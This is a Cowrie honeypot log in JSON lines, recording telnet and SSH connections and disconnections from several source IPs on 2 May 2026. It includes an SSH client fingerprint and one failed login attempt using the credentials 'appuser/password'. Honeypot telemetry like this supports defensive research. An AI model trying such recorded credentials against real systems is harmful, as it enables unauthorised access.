{"eventid":"cowrie.session.closed","duration":37.154401540756226,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:26.508675Z","src_ip":"161.97.105.174","session":"f2e3e580c11d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.59068584442139,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:27.666775Z","src_ip":"64.227.101.30","session":"196cc383cd67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.47450876235962,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:29.668208Z","src_ip":"64.227.101.30","session":"6cacaf7c482c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.16616487503052,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:31.077109Z","src_ip":"64.227.101.30","session":"0092cd70d8dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34236,"dst_ip":"159.203.135.109","dst_port":23,"session":"4036a1cd9421","protocol":"telnet","message":"New connection: 68.183.198.12:34236 (159.203.135.109:23) [session: 4036a1cd9421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:31.251173Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44460,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc0e9b62d75","protocol":"telnet","message":"New connection: 64.227.101.30:44460 (10.17.0.5:23) [session: cdc0e9b62d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:33.028251Z"}
{"eventid":"cowrie.session.closed","duration":89.19719672203064,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:34.512572Z","src_ip":"64.227.101.30","session":"5cc7586d39e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.37036371231079,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:38.806139Z","src_ip":"64.227.101.30","session":"41f2f243cc81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08e24ea5deb","protocol":"telnet","message":"New connection: 64.227.101.30:52880 (10.17.0.5:23) [session: b08e24ea5deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:39.125325Z"}
{"eventid":"cowrie.session.closed","duration":38.24355506896973,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:41.193817Z","src_ip":"64.227.101.30","session":"3d5e9287c690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"65bb9d638100","protocol":"telnet","message":"New connection: 64.227.101.30:54306 (10.17.0.5:23) [session: 65bb9d638100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:42.383290Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54794,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf74a2e286d","protocol":"telnet","message":"New connection: 64.227.101.30:54794 (10.17.0.5:23) [session: ddf74a2e286d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:43.471206Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42690,"dst_ip":"159.203.135.109","dst_port":23,"session":"07cec990a566","protocol":"telnet","message":"New connection: 161.97.105.174:42690 (159.203.135.109:23) [session: 07cec990a566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:44.316913Z"}
{"eventid":"cowrie.session.closed","duration":30.852182626724243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:45.316794Z","src_ip":"92.68.11.140","session":"3e82d0fefef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04892873764038,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:47.382192Z","src_ip":"161.97.105.174","session":"bb3246cb6f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57208,"dst_ip":"10.17.0.5","dst_port":23,"session":"02917dfea6dd","protocol":"telnet","message":"New connection: 64.227.101.30:57208 (10.17.0.5:23) [session: 02917dfea6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:48.685114Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e15b4c3fb5","protocol":"telnet","message":"New connection: 64.227.101.30:44662 (10.17.0.5:23) [session: d1e15b4c3fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:49.930962Z"}
{"eventid":"cowrie.session.closed","duration":42.60468339920044,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:51.153316Z","src_ip":"64.227.101.30","session":"1ce0d9b788dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00181317329407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:51.197761Z","src_ip":"64.227.101.30","session":"63af915e85ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54626,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a681612214","protocol":"telnet","message":"New connection: 64.227.101.30:54626 (10.17.0.5:23) [session: a5a681612214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:51.203836Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37562,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c71e97caa87","protocol":"telnet","message":"New connection: 68.183.198.12:37562 (159.203.135.109:23) [session: 9c71e97caa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:51.627783Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37624,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc930e051ba","protocol":"telnet","message":"New connection: 68.183.198.12:37624 (159.203.135.109:23) [session: fcc930e051ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:54.896621Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60826,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6fb0f55a5a","protocol":"telnet","message":"New connection: 64.227.101.30:60826 (10.17.0.5:23) [session: 0c6fb0f55a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:56.027991Z"}
{"eventid":"cowrie.session.closed","duration":40.52079916000366,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:56.284708Z","src_ip":"64.227.101.30","session":"e597405910e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.956613063812256,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:00:59.312532Z","src_ip":"64.227.101.30","session":"173f63e23417","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.05240488052368,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:00.302676Z","src_ip":"68.183.198.12","session":"afa4d616e1bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.253750324249268,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:03.184587Z","src_ip":"64.227.101.30","session":"d1e15b4c3fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":49311,"dst_ip":"10.17.0.5","dst_port":22,"session":"534ee5fe2bd2","protocol":"ssh","message":"New connection: 103.170.173.26:49311 (10.17.0.5:22) [session: 534ee5fe2bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:05.553676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:05.560760Z","src_ip":"103.170.173.26","session":"534ee5fe2bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:05.839185Z","src_ip":"103.170.173.26","session":"534ee5fe2bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39812,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a680d76b26","protocol":"telnet","message":"New connection: 68.183.198.12:39812 (159.203.135.109:23) [session: 90a680d76b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:06.530764Z"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:06.981205Z","src_ip":"103.170.173.26","session":"534ee5fe2bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37006,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb771bc1b09","protocol":"telnet","message":"New connection: 64.227.101.30:37006 (10.17.0.5:23) [session: 0fb771bc1b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:07.638330Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:08.261007Z","src_ip":"103.170.173.26","session":"534ee5fe2bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39532,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e916baa797c","protocol":"telnet","message":"New connection: 64.227.101.30:39532 (10.17.0.5:23) [session: 8e916baa797c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:09.430279Z"}
{"eventid":"cowrie.session.closed","duration":47.31202268600464,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:12.193591Z","src_ip":"68.183.198.12","session":"f91cffa041f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.39434862136841,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:12.688842Z","src_ip":"64.227.101.30","session":"980094750033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.22358322143555,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:13.474625Z","src_ip":"68.183.198.12","session":"4036a1cd9421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40558,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0147189b442","protocol":"telnet","message":"New connection: 64.227.101.30:40558 (10.17.0.5:23) [session: d0147189b442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:14.364401Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33878,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ddf6a9e9a5","protocol":"telnet","message":"New connection: 64.227.101.30:33878 (10.17.0.5:23) [session: 94ddf6a9e9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:15.018324Z"}
{"eventid":"cowrie.session.closed","duration":31.3282368183136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:15.645021Z","src_ip":"161.97.105.174","session":"07cec990a566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41620,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ede81e7eabf","protocol":"telnet","message":"New connection: 68.183.198.12:41620 (159.203.135.109:23) [session: 1ede81e7eabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:17.053711Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43196,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc746da31a0","protocol":"telnet","message":"New connection: 64.227.101.30:43196 (10.17.0.5:23) [session: 0bc746da31a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:17.140599Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44636,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d628e20286","protocol":"telnet","message":"New connection: 64.227.101.30:44636 (10.17.0.5:23) [session: f1d628e20286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:18.743339Z"}
{"eventid":"cowrie.session.closed","duration":47.74904203414917,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:20.777162Z","src_ip":"64.227.101.30","session":"cdc0e9b62d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43774,"dst_ip":"10.17.0.5","dst_port":23,"session":"c435d2a86225","protocol":"telnet","message":"New connection: 64.227.101.30:43774 (10.17.0.5:23) [session: c435d2a86225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:21.148228Z"}
{"eventid":"cowrie.session.closed","duration":39.809398889541626,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:22.192550Z","src_ip":"64.227.101.30","session":"65bb9d638100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":42806,"dst_ip":"159.203.135.109","dst_port":23,"session":"e303d1c6e0bb","protocol":"telnet","message":"New connection: 68.183.198.12:42806 (159.203.135.109:23) [session: e303d1c6e0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:23.109278Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46980,"dst_ip":"10.17.0.5","dst_port":23,"session":"cadc8249b951","protocol":"telnet","message":"New connection: 64.227.101.30:46980 (10.17.0.5:23) [session: cadc8249b951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:24.029028Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46404,"dst_ip":"10.17.0.5","dst_port":23,"session":"f29e7e855c4d","protocol":"telnet","message":"New connection: 64.227.101.30:46404 (10.17.0.5:23) [session: f29e7e855c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:25.059886Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47554,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5de7a78b05b","protocol":"telnet","message":"New connection: 64.227.101.30:47554 (10.17.0.5:23) [session: c5de7a78b05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:25.132950Z"}
{"eventid":"cowrie.session.closed","duration":41.780903816223145,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:25.251985Z","src_ip":"64.227.101.30","session":"ddf74a2e286d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47228,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a69dba8c396","protocol":"telnet","message":"New connection: 64.227.101.30:47228 (10.17.0.5:23) [session: 6a69dba8c396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:25.542932Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49168,"dst_ip":"10.17.0.5","dst_port":23,"session":"14180c1532b0","protocol":"telnet","message":"New connection: 64.227.101.30:49168 (10.17.0.5:23) [session: 14180c1532b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:27.261254Z"}
{"eventid":"cowrie.session.closed","duration":40.982157468795776,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:29.667174Z","src_ip":"64.227.101.30","session":"02917dfea6dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.348861694335938,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:30.367057Z","src_ip":"64.227.101.30","session":"94ddf6a9e9a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":43702,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d600670690","protocol":"telnet","message":"New connection: 68.183.198.12:43702 (159.203.135.109:23) [session: 07d600670690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:30.448344Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51618,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f80260fce15","protocol":"telnet","message":"New connection: 64.227.101.30:51618 (10.17.0.5:23) [session: 7f80260fce15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:31.792851Z"}
{"eventid":"cowrie.session.closed","duration":73.35694551467896,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:32.816696Z","src_ip":"64.227.101.30","session":"67da150bae69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.15775537490845,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:33.785304Z","src_ip":"68.183.198.12","session":"9c71e97caa87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53234,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eab6c368c45","protocol":"telnet","message":"New connection: 64.227.101.30:53234 (10.17.0.5:23) [session: 4eab6c368c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:34.747245Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":44974,"dst_ip":"159.203.135.109","dst_port":23,"session":"4581afb1be4a","protocol":"telnet","message":"New connection: 68.183.198.12:44974 (159.203.135.109:23) [session: 4581afb1be4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:35.684675Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44798,"dst_ip":"159.203.135.109","dst_port":23,"session":"66fcdab7a899","protocol":"telnet","message":"New connection: 161.97.105.174:44798 (159.203.135.109:23) [session: 66fcdab7a899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:39.649635Z"}
{"eventid":"cowrie.session.closed","duration":46.216020822525024,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:41.112511Z","src_ip":"68.183.198.12","session":"fcc930e051ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e58ab0257028","protocol":"telnet","message":"New connection: 64.227.101.30:56596 (10.17.0.5:23) [session: e58ab0257028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:41.493778Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":46066,"dst_ip":"159.203.135.109","dst_port":23,"session":"9394f827e81e","protocol":"telnet","message":"New connection: 68.183.198.12:46066 (159.203.135.109:23) [session: 9394f827e81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:42.602707Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56860,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40b71dda9c2","protocol":"telnet","message":"New connection: 64.227.101.30:56860 (10.17.0.5:23) [session: f40b71dda9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:43.079005Z"}
{"eventid":"cowrie.session.closed","duration":29.133605003356934,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:46.274094Z","src_ip":"64.227.101.30","session":"0bc746da31a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58488,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f4c2673a84","protocol":"telnet","message":"New connection: 64.227.101.30:58488 (10.17.0.5:23) [session: 64f4c2673a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:47.435243Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55574,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b290670591","protocol":"telnet","message":"New connection: 161.97.105.174:55574 (159.203.135.109:23) [session: 85b290670591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:48.392059Z"}
{"eventid":"cowrie.session.closed","duration":39.014464139938354,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:48.444592Z","src_ip":"64.227.101.30","session":"8e916baa797c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55588,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fac763fb2a9","protocol":"telnet","message":"New connection: 161.97.105.174:55588 (159.203.135.109:23) [session: 5fac763fb2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:48.689514Z"}
{"eventid":"cowrie.session.closed","duration":41.62097382545471,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:49.259179Z","src_ip":"64.227.101.30","session":"0fb771bc1b09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.86008286476135,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:50.985297Z","src_ip":"64.227.101.30","session":"b08e24ea5deb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.57424736022949,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:51.104228Z","src_ip":"68.183.198.12","session":"90a680d76b26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11294198036194,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:53.477207Z","src_ip":"64.227.101.30","session":"d0147189b442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.28877902030945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:01:56.436853Z","src_ip":"64.227.101.30","session":"c435d2a86225","protocol":"telnet"}
